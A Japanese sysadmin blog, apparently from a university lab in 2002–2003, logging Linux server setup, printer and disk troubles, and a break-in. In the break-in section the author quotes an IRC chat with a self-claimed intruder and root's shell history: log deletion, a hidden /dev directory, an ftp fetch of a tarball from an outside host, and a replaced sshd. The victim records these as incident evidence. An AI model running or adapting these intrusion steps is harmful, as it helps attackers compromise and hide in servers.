研究室の あたらしいLinuxさーば:
ずっと古いlinux boxを使っていたので、みなれないものが多い。
inetdが xinetdになってるし。。
とりあえず console以外の外部からも入れないと不便でしょうがない。
sshdの設定をしてみる。
が、connection refused。んー。
どうやら ipフィルターのipchainsが 攻殻機動隊でいうところの
自閉症モードになっているようだ。
ipchainsの設定を変えて 必要なポートを開ける。
これで sshは使えるようになった。
ところが port25を開けたのに sendmailが反応しない。connection refusedになる。
localhostからは sendmailにアクセスできるということは やはりIPフィルターの
設定なのかな。。。と 随分悩んでしまったが smtp_authの関係だったようだ。
sendmail.cfを 作り直したら うまくいった。
だいたい network廻りは いい感じかな、と 思ったのも束の間。
今度は POP3が動かない。。。
いろいろ探したんだけど、あれ?? qpopper入ってないのかな。。
今度 自前で入れるか。
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いま 調べてみたら、なんでもredhatには sendmailは入っているくせに
popdが はいってないという話ではないですか!なんと!
仕方がないので qpopperを入れました。4.0.3だっけかな?
当然 APOPオプションをつける。
以前やったことがあるだけあって、あっちゅーまにうまくいく。
よしよし。
この辺
を参考にしました。
2003年XX月XX日
2003年08月07日
このマシン(まさしく 今 あなたがアクセスしているこのマシンです)は、
毎朝4時にtripwireによるセキュリティチェック
(ファイルの改変の有無のチェック)をしているわけなんですが、
この2日ほど そのチェックが正常に働いていませんでした。
なんでだろう??と 今日 色々調べてみました。
tripwire --check を実行すると
### Error: File could not be read.
### Filename: /usr/lib/librpmdb-4.0.4.so
### 入力/出力 error
### Exiting...
と止まってしまいます。file /usr/lib/librpmdb-4.0.4.soしても
正常っぽいし、なんでなんだろう??
と、ネットで調べていると どうやらHDDの問題らしい。
そういわれて よくみると tripwire --checkをするたびに、
kernel: hda: dma_intr: status=0x51 { DriveReady SeekComplete Error }
kernel: hda: dma_intr: error=0x40 { UncorrectableError }, LBAsect=33199557, sector=8122024
marine kernel: end_request: I/O error, dev 03:07 (hda), sector 8122024
というエラーが /var/log/messagesに出力されています。
このエラーについて 調べてみたら 驚愕の事実が!
これは HDDが壊れる前兆だそうです。
。。。
(T△T)
泣いてばかりもいられない、それなら すぐにでもバックアップしなきゃ
ということで いま慌てて大事なデータをバックアップしました。
本当は 午前中にやりたい仕事もあったのに。。(泣)
で、ひととおりバックアップしたんで ここに書こうか、と
おもってエディタ立ち上げ、漢字変換したとたん emacsが固まった。。。
HDDが ガリガリいってます。。。
うわ、バックアップ完了と同時に お亡くなりか?!と思いましたが、
何とか いま 続きを書いてます。
もうすぐ、お盆休みだし。この後 どうしよう〜。。。
2003年07月29日
あぁぁぁ、腹がたつ!
腹がたつといっても、原因は自分のスキルの無さにあることは
間違い無いので 誰にアタルわけにもいかないのだが、
たまたま ここを読んでしまったアナタ。
不幸だと思って 我慢してください。(ぉぃ)
何が腹がたつって emacsのi-searchなのです。
私としては 日本語入力モードであっても i-searchは
デフォルトでは 英語モードで探して欲しいのです。
ところが C-sを押したとたん、
ミニバッファが日本語入力モードになってしまうのです。
何故?Why?昔のemacsは そんな要らぬ世話を焼かなかったぞ。
今のマシンになってから 密かにずーーーっと気になって
うぜーなぁ と思っていたのですが、仕様なのかなと思ってあきらめていました。
しかし、今日 あまりにイライラしてきて ネットの海に解決策を探しに出かけました。
WWWで調べた限りでは 「ミニバッファで日本語入力したいのにできなーい」
という私と逆方向の問題に 対処している内容のページはたくさんあるのですが
私と同じ問題を抱えている人は見当たらず。。
使っているのは GNU Emacs 20.7.1
よく分からないので、「何が」というか「どのファイルの作用によって」
i-searchが行われているのか 調べてみたところ(調べ方は 甚だ強引)
/usr/share/emacs/20.7/lisp/international/isearch-x.elc
が アリガタ迷惑にも 「日本語モードだから日本語検索だね♪」と
要らぬ世話を焼いてくれている模様。しかし、
その要らぬお節介を 止めさせる方法が分からない。。。
誰かおしえてください。(・人・)
2003年07月10日
研究室に ちょっと変わったデスクトップコンピュータがありまして、
どういう物かと申しますと、超小型デスクトップマシンなのです。
何と弁当箱サイズですが、バッテリー無し、キーボード外付け、モニター外付け、
各種インターフェース付きという怪しい商品です。
しかし いろいろと便利で Linuxサーバーと、
その超小型デスクトップ(OS windows2000)で OSを使い分けて作業を
していました。
んが、
しばらく前から その小型windowsマシンが急に調子わるくなり、
電源をいれてもbootしない。
こりゃこまった、、というわけで 放置してあったのですが(ぉぃぉぃ)
しかし、事務局等から エクセルのファイルが送られて来たりして、
そういう物の印刷のたびに困るので、その超小型デスクトップから
別のwindowsデスクトップに プリンタを繋ぎ替えなきゃなぁ、と
思っていました。
しかし 研究室でのプリンタの配置、コンピューターの配置
そして それらをつなぐケーブルの長さを考えると
それらの配置替えは 一大イベントになるわけなのです。
しかし しょうがなく困って来て、昨日 配置替えをしようと
大きい方のプリンタを持ち上げて あることに気付きました。
超小型デスクトップから コンソール切替え器へのケーブルが
大きいプリンタにずっと踏まれていたことに。。
立ち上がらなかったのはこれが原因か!!
そこで、ケーブルを替えてみた。。。。動くじゃん。。
はぁ、、ここ数ヵ月苦労してたのは 何だったんだ。。
で、あちこちケーブル抜いたり、サーバの電源を落したりして、
すっかり 配置替えする気満々状態の、雑然とする研究室を
何とか元に戻した。
しかし これだけで終らない。。。
今日 授業の前にプリントをLinuxマシンから印刷をしようと したら
うんともすんとも言わない。。。ほぇ!?
授業まで、あと30分くらいしかないのに。。。
しかたなく ファイルをpdfにして windowsに送って
windowsから印刷する。
授業が終ったら 何とか直さないとなぁ。。。
で、授業終った。研究室戻ったさ。
どこから いじろう。
dvips hogehoge.dvi とりあえず印刷コマンド実行。
lpq どーなってます?lpdさん。
ふつうにスプールに溜ってますなぁ。
。。。
プリンタさんどないです?。。うんともすんとも言わん。
うわぁぁぁん。
プリンタを dumpモードにしてみる。
反応なし。
dmesgを調べてみると、
parport0: no more nibble data
parport0: only read 131 of 1000 ID bytes
parport0: faking semi-colon
parport0: legacy device
とか何とか言ってます。分かんないっす。
ネットで色々調べると 似たような現象になっている外人がいるんだが、
困っている人ばかりで、どうやったら解決できるか書いてない。
こっから先は ただただ ネットの海をただようばかり、、
lpdを停止して rmmod lp ; insmod lpしてみたり、
/etc/modules.confを調べてみたり、、
でも 待てよ。何で急に 調子悪くなったのかわからない。
ケーブル抜いたり 電源落したりしただけだぞ??
悩むこと 3時間。。。。
この辺りで キレはじめます。ぶつぶつぶつぶつ。
。。。
一応、一応だよ。面倒な作業だけどさ、あれも確認しておこうじゃないか。
アレだよ。アレ。ケーブルをさ、別のケーブルと取り換えてみよう。
ほら このケーブル古そうだし。。
で、windows用のプリンタから ケーブルを拝借して、
取り換えてみた。起動。。。
ウィーーーン。。。ガーガーガー
印刷してるじゃんよ。問題なく!
結局、原因は古いケーブルのため 双方向通信がうまくいかず
起動時にプリンタが繋がっていることを認識できなかったため、と
判断されます。。
下が現在の正常な状態のdmesgの内容。
parport0: PC-style at 0x378 (0x778) [PCSPP,TRISTATE,COMPAT,EPP,ECP]
parport0: irq 7 detected
parport0: cpp_daisy: aa5500ff(98)
parport0: assign_addrs: aa5500ff(98)
parport0: Printer, Canon LASER SHOT LBP-470
lp0: using parport0 (polling).
あぁ また無駄な時間を過ごした。。。(ため息)
(おまけ)
原因が分かって、あとから 考えてみると、
調子がおかしかったときの以下のメッセージ:
parport0: no more nibble data
parport0: only read 131 of 1000 ID bytes
parport0: faking semi-colon
parport0: legacy device
の意味は
パラレルポートからの データを読んでいったら 無くなっちゃった。
という事なんでしょうかね。
1000個のIDデータを読まないといかんのに 131個しか送られてないぞ。
しょうがない semi-colonを勝手に付けて読み替えようじゃないか。
そのかわり ポートの先のデバイスが何かわからんから
とりあえず "legacy device"と名付けておくからな。
しかし「ケーブルが古い」が原因とは なかなか気付かなかった。
2003年04月21日
先週末から marineの調子が悪かった。
金曜の朝に 自宅で メールを読もうとすると、つながらない。
こういう時、クラックされた経験があると
もう 心配でしょうがなくなります。トラウマですね。一種の。
大学にいって ちょっといろいろ調べる。
電源はちゃんと入っていた。
どうもnetwork周りがおかしい。
/etc/rc.d/init.d/network restartで ネットワーク関係を再起動すると
復旧する。んが、数時間すると また 外部からつながらなくなっている。
この日は 忙しかったので、(クラックではないようであったし)
一応 帰り際に ネットワークを再起動しなおして 帰宅。
んが、やはり 土曜日の朝には つながらなくなっていた。
不便でしょうがないので 土曜の朝に 大学へ。
どうやら DHCPのIPアドレスのleaseの更新に失敗しているようだ。
大学のDHCPサーバーが変わったのが原因だろうか?
いま使っているDHCPクライアントは pump。
pump関連で 似たような現象になっている人がいないかネットで探す。
しかし これといった 打開策がみつからず、この日は あきらめて帰宅。
で、今日、月曜日またいろいろ、調べてみる。
どうも DHCPクライアントって 相性があるんでしょうか?
よくわからないですが pumpをやめて dhcpcdにしてみました。
redhatでは
/etc/rc.d/init.d/networkが /sbin/ifupをcall
これでうまくいくようなら dhcpcdでしばらく運用してみましょう。
/sbin/ifup は
・ ・/sbin/pumpがあれば pumpをcall
・ ・/sbin/pumpがなくて、/sbin/dhcpcdが あれば dhcpcdをcall
といううまくできたスクリプトになっているので
単にpumpをrenameしてみました。(そんなんで いいのか?)
2003年03月07日
先日 3/3にsendmailのセキュリティホールが見付かったとかで、
今日は セキュリティのパッチを当てました。
きちんと定期的にパッチあててないと えらいたくさんになってしまう。。
2002年11月07日
この秋、自然系のトップページをすこし作り直しましょう、ということで、
トップページを作ることを依頼されまして、
ちょこまかアイコンから作ってたりするわけなんですが
そういうことをやっていると 欲しくなるのが透過GIF。
透過GIFを作るために giftrans というソフトをinstallしました。
giftrans -t#aabbcc hogein.gif > hogeout.gif
で 透過GIFを作ってくれます。便利。
2002年09月24日
実は何を隠そう、プリンタの調子がずっと前から悪かった。
昔を思い出しながら、詳しく話そう。
従来 使っていたプリンタは OKI MicroLine 600PSIIという
ポストスクリプトプリンタでして、
ポストスクリプトプリンタって
高いというイメージが強いのですが、
確か この大学に就職した当時に
買った値段で 5、6万だったと思う。
この値段なら 買いだ!
とおもって、UNIXで使うこともあり、このポストスクリプトプリンタに
決めたのだった。
ポストスクリプトプリンタということは
UNIXの標準出力仕様そのままで プリンタが理解してくれるはずなわけで、
filterも 何も要らないはずな訳だ。
ところが うまく動かなかった。あれれ?と思って いろいろ調べたところ
ps2psという訳分からん filterがあって
(ポストスクリプトをポストスクリプトに
変換、、ん? いったい何を変換しているのだ?という代物)
なぜか そのfilterを通すと 印刷できたのだった。
ところが、なぜか 時々「PSエラー」という表示がでて印刷が止まってしまう。
20ページの論文を印刷するよう命令して、コーヒーを入れて帰ってくると
2ページしか印刷せずに止まっている。。。
3ページ目から印刷させると 8ページ目で止まる。。。という風でして。。
いろいろ調べたのですが、よく分からず仕舞い。
しかも まったく印刷できないというわけでもないところが またミソ。
なんだかんだと そのまま数年つかってしまいました。
そして 今年の始め、marineに変わり、redhatで稼働させたとき、
プリンタがもしかして うまくいくかも、、、と 密かな期待があったとさ。
んが、期待虚しく、状況変わらず。でも プリンタを設定するとき 思ったことは、
結構いろんなプリンタが動くんじゃないだろうか。。。
というのも、UNIXで(快適に)使えるプリンタは 限られているという
認識があったのですが、redhatのGUIのプリンタ設定ツールを使った
感じでは 結構 いろいろサポートしてるんじゃん!と 思ったのです。
実際、LIPS IVという文字も見えたし、GUIで選択するだけで
LIPSが動くんなら canonのプリンタは軒並いけるな、、、と思ったのです。
そこで 今年の予算で プリンタを買うことに!
canonのパーソナルなレーザープリンタを適当に選んで購入申請しました。
で、届いて 設定しようとして、ふと いやな予感が。。。
。。。これって windows専用プリンタじゃないか?!
予感的中。。だめですね。。最近、油断しているのか、
物を買うときの下調べが 足りないことが多いです。。
もっと 気を引き締めていかないと、、、。
と思っても 後のまつり。。しかたないので、計算機室のプリンタと
入れ換えすることに。計算機室のレーザープリンタは CANON LBP-470。
LIPS IVで動くみたいなので、だいじょぶだろ。動くだろ。。
と GUIで 適当に設定するも 動かず。。。
テストページをmarineから 送っても、うんともすんとも言わない。
うがーーーー。
そこで いろいろ試した。GUI設定をやめ、muleで
/etc/printcap.local、/etc/printcap を 設定したり
いろいろやった。が、だめ。
うがががーーーー。
かなり、頭に血が上っている状態。くそー。ちきしょー。
プリンタの設定をいろいろためす。LIPS命令のDUMPモードにして、
パラレルポートに何か流れれば 印刷するようにする。
んが、だめ。ううううう(T−T)
ふと 気づくと 今日は全学教官会議ではないか!ぐ。
しかたないので windowのたくさんたちあがったmarineと、
うんともすんともいわないプリンタを 放置して、
全学教官会議にいく。
数時間して 研究室に戻って、ふと プリンタをみると 紙が出ている。
ん?!!
印刷してあるじゃん!(LIPSの命令DUMPが)
なぜ?なぜ?
プリンタの設定を変えて、通常印刷させる。
ウィーーー。。あれ、でるじゃん(テキストが)。。。
filterの設定をして、論文を印刷する。
ウィーーー。。。印刷してる(論文を)。。。
なんでなのだーーーー?!!!!
何故なのか 全く わからんのだけど、数時間経ったら 問題なく動くように
なっていました。なんで?なんで??
2002年04月25日
えーと 授業で配ったり使ったりしたプリントを webに載せたいな、と
最近思っていたのですが、dviファイルじゃ 学生が読めないと思うので、
どうしたものか と思っておりました。そこで dviからpdfへのコンバータ
を入れました。
はじめ dvipdfmというパッケージを普通にいれたのですが、
どうも日本語を含むdviファイルがうまく変換されません。
(英語だと問題なく動きました)
そこで
こちらのぺーじを参考にさせて頂き、日本語化されたdvipdfmの
rpmパッケージを使用させて頂きました。動作も全く問題なし。
快適です。
2002年03月29日
先日、すでにspoolからホームディレクトリのメールボックスへ取り込んだメールを
急きょ 自宅からリモートで 読む必要がありまして、mewを再度いれました。
2/19にmewを入れたという記録が残っているのですが ずいぶん簡単に
インストールしたような記述になってますね。。
今回は なんだか苦労してしまいました。
まず mewのrpmパッケージをさがさないといけない。
なんとなく前回の記憶では 一つのパッケージだけでよかったような
記憶があるのですが、なんかうまくいかない。
結局
mew-1.93-5.1386.rpm
mew-emacs-1.93-5.i386.rpm
を入れました。
今回は 時間がなかったので aquaの方から 古い.emacsのmewに
関する部分をコピペして 使いました。なんか文句言われましたが
文句言われたところを削除して とりあえず使っています。
現在のmewの設定は
;;---- mew
(autoload 'mew "mew" nil t)
(autoload 'mew-read "mew" nil t)
(autoload 'mew-send "mew" nil t)
(setq mew-prog-inc "inc")
(setq mew-prog-scan "scan")
(setq mew-mail-domain "sci.hyogo-u.ac.jp")
; (setq mew-mule-charset-local *iso-2022-jp*)
(setq mew-window-use-full t)
; (setq mew-demo nil)
(setq mew-draft-mode-hook
(function (lambda () (auto-fill-mode 1))))
(setq mew-dcc "hammer@sci.hyogo-u.ac.jp")
(setq mew-reply-to nil)
(setq mew-replyto-to-List '("Reply-To:"))
(setq mew-loop-depth 100)
; (setq mew-init-hook
; (function
; (lambda ()
; (add-hook 'kill-emacs-hook
; (function mew-mark-process-all-folders)
;)))
(setq mew-cite-format
"%s さん曰く:\n")
こんな感じ。
それと TeXも 入れましたが、どうしたんだっけ?
rpmパッケージで いれたはずですが。。。
すみません。失念しました。
それと さっきプリンタの設定をしました。これは3/11の記事と
まったく同じ。自分で書いた記事ですが すごい役立ちました。
やはり やったことは きちんと書いておかないとだめだね。
2002年03月22日
さて つぎはサービスを開始していかなければなりません。
MLも早いところ再開したいです。webページも はやく復旧しないと。
「FDの思考実験室」も停止状態です。
ということで 何から始めたものやら。
まず webから取り掛かることにしました。まず
/etc/httpd/conf/httpd.confを編集します。2月21日の作業記録を
参考にして作業を行う。やはり 前にやった作業が残されていると楽だな。
なんとかホームページが表示されるようになったぞ。
あれ、wwwのコンテンツも表示されるようになって、
掲示板も動くようになったのだが、なぜか カウンターcgiが動かない。
おかしいなぁ。
しかし いろいろ作業していて思うことは ipmessengerがないと困る。
とりあえず IPmessengerをいれよう。
んーと たしかrpmパッケージが
あったはず。。と
これだ。
ところが rpm --rebuildして rpm -ivh して インストールして動かしたところ
他のユーザーが表示されない。うまく うごかない。。あれれれ?
ソースからコンパイルしてみる。。。あれれ?やっぱりだめだ。
。。。あ!
ファイアウォールを動かしているから 届かないのだ。。どうしたものやら。
さて カウンターcgiだが、この際なので src.rpmパッケージで
カウンターcgiを新しく入れ直すことにする。npcというものを使っているのだが
このあたりからDLしてインストール。
npc.idxの格納場所が変わってしまったが いいことにする。仕方無い。
さて つぎはMLだ、と思ったのですが、
良く考えるとサービスをいろいろ始めるまえに、
セキュリティのアップが先ですよね。
ということで tripwireを先にいれることにします。
tripwireとは systemの重要なファイルを 定期的にチェックすることで
侵入者が重要なファイルに手を加えた場合
直ちに発見できるようにするものです。
名前から察するに よく戦場シーンででてくる
あのワイヤーを使ったトラップをイメージしているのでしょうね。
さて このインストールですが redhatが とても分かりやすい説明を
提供してくれています。
こちらにあります。
さぁ 今度こそMLだ。と おもったが その前にsendmailを動かす必要が
あるのではないか?>俺
確か2月15日の記述によれば sendmailはsendmail.cfを自分で
作り直せば きちんと動くと書いてある。ふーむ。
で、sendmail.cfを どうやって作ったんだ?おれ。
。。。思い出せない。普通に考えれば CFかm4だけども、
CFをいれた記憶ないし、かといって sendmail.mcを書いた記憶もない。。。
んー、んー。。。。
かなり悩んだ挙げ句、m4で 作ることにする。CFの方が 好きなんだけど
CFのパッケージが見当たらなかったのです。(あるはずなんだけど。)
/etc/sendmail.mcの中をよーくみてみると
dnl This changes sendmail to only listen on the loopback device 127.0.0.1
という部分がある。ようするにこの部分が ループバック以外のアクセスを
dnl and not on any other network devices. Comment this out if you want
dnl to accept email over the network.
DAEMON_OPTIONS(`Port=smtp,Addr=127.0.0.1,Name=MTA')
遮断させている記述だ。このAddr=127.0.0.1 の部分を削除して
m4でsendmail.cfを作成。これで うまくいった。
さて こんどこそ MLだ。rpmパッケージは古いうえに リンク先がなかったりして
腹立たしいので ソースでインストール。
fmlのインストールは何度もやったから 簡単だぁ、と 思いつつ
rootでfmlをインストール。
DOMAINをFQDNにして設定する。
MLのディレクトリが作られるディレクトリ(/usr/local/etc/ml)
のパーミッションを一時的に 777にしてから、ML用のアカウントになって、
makefml newml hogehoge
このあとパーミッションを755にもどす。
あとは /etc/aliasesを サンプルのaliasesをもとに 変更して、
newaliasesを実行。あとは aquaから 古いMLのspoolをコピーして、
membersとactivesをコピーして、seqの記事番号も 上げて、
えーと それから そうそう makefml config hogehoge を実行。
適当に 設定をいじる。
よし、これで 完璧だろう。メールおくってみよーっと。
あれ?すぐ帰ってきた。。
おや、うまく動いてない。。。がーん。なぜ!
どうやら redhatは smrshというsendmail専用のシェルをつかって
includeから呼び出されるプログラムを動かしているらしい。
smrshは 呼び出せるプログラムに 制限がかかっているので
fmlのプログラムを smrshに登録してやらないといけない。
これ自体は簡単で /etc/smrshに 実行したいプログラムをリンクしてやれば
いいみたい。
今回は
/usr/local/fml/fml.pl、/usr/local/fml/libloadconfig.pl、
/usr/local/fml/default_config.ph を /etc/smrshにリンクしました。
また、それに関連して fmlのサーチパスのようなものを
設定してやらないといけないようです。
そのためには 以下の内容のファイル site_init.phを
push(@INC, "/usr/local/fml");
push(@INC,"/usr/local/fml/module");
push(@INC,"/usr/local/fml/module/CPAN");
push(@INC,"/usr/local/fml/module/Japanese");
push(@INC,"/usr/local/fml/module/fml-devel");
push(@LIBDIR, "/usr/local/fml");
push(@LIBDIR,"/usr/local/fml/module");
push(@LIBDIR,"/usr/local/fml/module/CPAN");
push(@LIBDIR,"/usr/local/fml/module/Japanese");
push(@LIBDIR,"/usr/local/fml/module/fml-devel");
1;
/usr/local/ml/etc/fml/におけばよいみたいです。
もう ここまで来たら ついでだ。qpopperも入れたろうやないか。
rpmパッケージはあきらめて ソースから作ることにする。
--enable-apop オプションをつけて ./configure;
make ; make intasll。はい これで インストールは終り。
えーと xinetdから 起動させるには。。と。
/etc/xinetd.d/のしたに popperというファイルをつくる。
内容は
service pop-3
{
disable = no
socket_type =stream
wait = no
user = root
server = /usr/local/sbin/popper
server_args = -s
}
こんな感じ。aquaから 何度か110ポートをたたいて思考錯誤。
ipchainsの設定を変えたり、しながら なんとか完成。
わ、もう 朝の7時すぎてるじゃん。。。(-_-)
2002年03月20日
ようやく、「仕方ない。OSを入れ直すか」という気分になりました。
1月10日から2ヵ月かかって ようやく 安定して稼働してきたところ
だったのに、、、と思うと また滅入ってしまいますが、
作業にとりかかることにしました。
このマシンはLinuxプレインストールだったのですが、
まずハードウェアの仕様を確認することにしました。
そして 手もとにある RedHat7.1のCD-ROMからインストール開始。
HDDもフォーマットされ、新規一転、1から出直しです。
さて とりあえず やることといえば キーボードのCapsとCtrlの入れ換えです。
今回は 02/01/10にやった方法とはちがって
http://www.linuxml.net/log/sakura3/msg00364.html
に書いてある方法を参考にしました。
すなわち、/lib/kbd/keymaps/i386/qwerty/の下のkeymapを変更します。
私は英語キーボードが好きで、英語キーボードを使っているので
us.kmap.gzをコピーして、解凍し、できたファイルの中身の
keycode 29 = Control
keycode 58 = Caps_Lock
を
keycode 29 = Caps_Lock
keycode 58 = Control
に変えます。これを us-caps-ctrl.kmapとか適当な名前で保存してgzipで圧縮。
その後 /etc/sysconfig/keyboardの中を
KEYTABLE="us"
から
KEYTABLE="us-caps-ctrl"
に変更すればコンソールについては オーケー。
Xの方は/etc/X11/XF86Config-4の中の
Option "XkbOptions" "ctrl:nocaps"
というところのコメントを外せば完了。
#こうやって文章にすると すぐ終ったようですが
#wwwの海から 方法を探し、思考錯誤するのは時間がかかります。
さて、つぎは セキュリティーホールを埋めること。
このままでは前回の二の舞に なり兼ねませんからね。
ということで、
redhatの公式ページ
に記載されている全パッチを当てることにする。
これが 大変。なんてったって、報告されているセキュリティ上の
パッチの数は 60以上あるのだ。
これを ほぼ全部当てた。猛烈に疲れた。。
と、この日はこれで 何事もなく終るかに見えた。
が、そうではなかったのである。
かなり帰宅が遅くなったが、食事をとり、酒を飲むことにした。
焼酎をのみつつ、ノートパソコンで IRCのチャットに参加する。
そういえば 犯人もIRCのユーザーだった。残されたログによれば
#mpgというチャンネルを利用している様子だった。
coltというユーザー名を使っていたようだ。
。。。#mpgに 行ってみようかな。ふと そう思った。
今は商用プロバイダから アクセスしている。
大学とは無関係な名前だ。敵は まさか クラックした
サーバーの管理者とは 思わないだろう。
次の瞬間には 私は#mpgにjoinしていた。
#mpgに参加しているクライアントは 4、5人
とくに 会話が流れていなかったので、参加しているユーザー全員の
身元と、使用しているIRCクライアントを調べる。。
おや?uspというユーザーは eggdropを使用しているぞ。。。
ってことは このuspというのもクラックされたサイトからのアクセスなのか?
どうやら このチャンネルは サイバーテロをやってるやつらが
うようよしている感じ。defconとかいうユーザーを調べると
べつのチャンネルにもjoinしていたので そっちのチャンネルにも
joinしてみる。こうなりゃ 毒食わば皿までじゃ。
うわぁ、joinしたら びっくりした。どいつもこいつも いかにも
やばい感じの名前ばっかり。たとえば nObOdYとか そんな感じ。
#その手の人間の間では大文字と小文字を変な感じに使うのが
#一般的なのだ。
しかし どこでも特に会話が無かったので しばらくじっとしてみる
ことにする。。すると、、、
00:42 <defcon> ototo- ?
00:43 <defcon> Ototo1
00:43 <defcon> hmm
00:43 <defcon> who u
<ototoとは 私のこと。ついにきた、向こうから話しかけてきた!>
00:43 >Ototo1< ?
00:43 >Ototo1< do you know colt?
<coltとは 私のサーバに残されたユーザー名>
00:43 <defcon> hmm
00:43 <defcon> why eh ?
00:44 <defcon> no i dont
<とりあえず 知らないと いわれた。でも 信用はできない。>
00:44 >Ototo1< fufun
00:44 <defcon> mayb i can help you to find out
00:44 >Ototo1< you mean you know?
<怪しいので それはしってるってことかい?と聞いてみた>
00:45 <defcon> hmm
00:45 <defcon> ive seen that nick before
00:45 >Ototo1< I C
<シラをきりやがって。。。>
00:45 >Ototo1< well
00:45 >Ototo1< usp is a bot?
<同一チャンネルに uspというユーザーがいたのだが
これがまた 以下にも クラックされたサーバー上のロボットという
感じ。っていうか 絶対にそうだと思う。>
00:45 <defcon> ?
00:46 <defcon> i dunno man
00:46 >Ototo1< bot means robot.
00:46 <defcon> i think so
00:46 <defcon> why huh
<またしても 知らないとかいいよる。>
00:46 >Ototo1< try CTCP VERSION hah.
00:47 <defcon> ouhh
00:47 <defcon> ehehe
00:47 <defcon> im new in irc
<IRCははじめたばかりなんで。。とかいいやがる。絶対に怪しい。
初心者がこんなチャンネルをうろうろするわけない。>
00:47 >Ototo1< really ?
00:48 <defcon> yep
00:48 >Ototo1< how did you come here?
00:48 >Ototo1< I came here in some curious reason.
<らちがあかないので こっちから 切り出すことにする>
00:48 <defcon> my fren told me
00:48 <defcon> hmm
00:48 >Ototo1< fu-m
00:48 <defcon> wat is that ?
<向こうは 興味深々>
00:49 >Ototo1< my computer was cracked by someone and the left file indicates that
00:49 >Ototo1< the man is here.
<私のマシンがクラックされた、残されたファイルは 犯人がここにいると
示しているのだ、といってみた>
00:50 <defcon> wow..
00:50 <defcon> now u looking for that guy huh ?
<それで 犯人をさがしているのか?と>
00:50 >Ototo1< ahahaha
00:50 >Ototo1< I wanna know how did he do that. huh.
<私は どうやって クラックしたのか 知りたいだけだよといってみる>
00:51 <defcon> ouh
00:51 <defcon> hehe
00:51 <defcon> hmm
00:51 <defcon> u not gonna cought that guy rite?
<犯人をつかまえるのではないのね?と聞いてきた>
00:52 >Ototo1< probably
00:52 >Ototo1< hehe
<おそらくね、と ごまかす>
00:52 >Ototo1< dou you know something about it?
00:53 >Ototo1< i suspect that usp is the bot from a cracked server, also.
00:53 <defcon> hhmm cayh
00:53 <defcon> proably not ?
00:53 <defcon> or probably yes ?
<おそらく、つかまえたいの?おそらく つかまえないの?と聞いてきた>
00:53 >Ototo1< ahaha
00:53 >Ototo1< probably not
<ここは つかまえないよ。といっておく>
00:53 <defcon> hmm
00:53 <defcon> hehehe
00:53 <defcon> yeah rite
00:54 >Ototo1< you know?
00:54 <defcon> yep i do
00:54 <defcon> ;)
<とつぜん、犯人をしってるよ とか言い出す。>
00:54 <defcon> man i damn afraid!
00:54 >Ototo1< as expected.
00:55 <defcon> haha
00:55 <defcon> it was me
00:55 <defcon> ;P
00:55 <defcon> man i've alrady patch it for you
00:55 >Ototo1< exactly expected.
<実は俺でしたとか 言い始めた。でも この時点では まだ 分からない。
うそぶいているだけかもしれない。>
00:55 <defcon> ;P
00:55 <defcon> cool
00:55 <defcon> at last..
00:56 <defcon> ehehe
00:56 <defcon> u should upgrade ur ftp server
00:56 <defcon> ;)
00:56 >Ototo1< nm
<ftpサーバを 新しくしたほうがいいよ、とかいっている>
00:57 <defcon> so u mad at me ?
00:57 >Ototo1< ftp server was the hole!
00:57 >Ototo1< as I thought
00:57 >Ototo1< yeah i wanna kill you/
00:57 <defcon> :(
<怒り狂ってる?とかいうので 殺してやりたいといってみた>
00:57 >Ototo1< I exhausted whole 2 days.
00:58 <defcon> im sorry
00:58 >Ototo1< but U told me which hole u used so ..
00:59 >Ototo1< u often use the security hole of ftp?
00:59 <defcon> 22
00:59 <defcon> ur anonymous login
00:59 >Ototo1< ok.
<いってることを 鵜呑みにはできないが こいつは
いつも ftpのセキュリティホールをつかっているようだ>
00:59 <defcon> :)
01:00 <defcon> ototo..wat server is that?
01:00 <defcon> marine eh ?
01:00 <defcon> hmm izzit about marine stuff ?
<ここが 重要!私は ひとことも 自分のサーバーの名前を
いってないのに やつは marineのことか?といってきた。
この時点で こいつが犯人(もしくは その仲間)であることが
確定!>
01:00 >Ototo1< you showed that you are the man exactly.
01:00 >Ototo1< huh.
01:02 >Ototo1< you did the same to stadion1.anet.cz?
<usp とかいうユーザーのサーバーも 彼がクラックしたのだろうか?>
01:02 <defcon> huh ?
01:03 <defcon> wat u mean by that??
01:03 <defcon> hmm
01:03 <defcon> nope
01:04 <defcon> thats my fren
<それは 友達のやったやつだ、という犯人>
01:04 >Ototo1< ahaha
01:04 <defcon> he own that host
01:04 >Ototo1< unbleavable.
01:04 <defcon> why uh ?
01:04 >Ototo1< your friend is from cz? how glabal! haha
01:04 >Ototo1< global
01:05 <defcon> no
01:05 <defcon> i mean my fren crack that box
どうやら、友達の仕事らしい。。
と、こんな感じで、クラックした犯人と会話してしまいました。
かなり緊張感のある体験でした。向こうは 如何にも遊びで
やってる風ですね。腹立つけど。
ところで、この後 この犯人としばらくしゃべってたら
おまえいくつだ?って聞いてきた。
"very old. and you?"と答えたのだけど
この犯人、年齢(自称)いくつだったと思います?
13歳だって。
やってられません。
2002年03月19日
この日も 何も手に付きませんでした。
marineのことを考えるだけで 滅入ってました。
2002年03月18日
朝起きてすぐ、marineはどうなったかな?と 思い
sshでアクセスしようとするが、やはりつながらない。
あれー?と 思ったが POPでメールを受信したら 受信できてしまった。
???!
おかしい、何かおかしいなぁ と 思いつつも、
ipchainsの設定を変えた後 保存してなくって、
再起動のときに 古い設定にもどってしまったのかな?
とか 強引に 考えていました。
大学に到着して すぐにipchainsの設定を見直すが
とくに おかしいところは無い。???
おかしい、何かがおかしい。
sshdがおかしいのかな?と思って sshdの設定を調べようとしたときに
また 変なことに気づいた。。
sshdの設定は /etc/ssh/の下にあるはずなのに、/etc/の直下に
設定ファイルがある。どうも /etc/ssh/の下から コピーしてきた感じ。変だ。
っていうか /etc/にある sshdの設定ファイルのtime stampを見ると
3/17 18:00になっている。。。日曜日には ログインしてないぞ!!!
この時点で クラックされた可能性が 超濃厚になっているのだが
現実を認めたくないという心理が はたらく。。
うそだ、そんなことあるわけない、と 思うんだけど。。。。
でも そういわれてみれば 何故かここ数日の間の分が、
何もlogに記載されてない。。。
何か 物的証拠はないか。。。あ、そうだ。
と 思って rootの .bash_historyを 見た。
rm -rf /root/.bash_history
clear
c d/dev/ptyas
cd /dev/ptyas
ls
mkdir /dev/dfx
cd /dev/dfx
ftp ns.geomag.sk
ls
tar xfz new.tgz
cd home
cd robi
clear
ls
cd new
ls
./patch
./sshd
ls
ls
cat /etc/sshd_config
exit
cd /dev/ptyas
ls
cat pid.coltBot
kill -9 10364
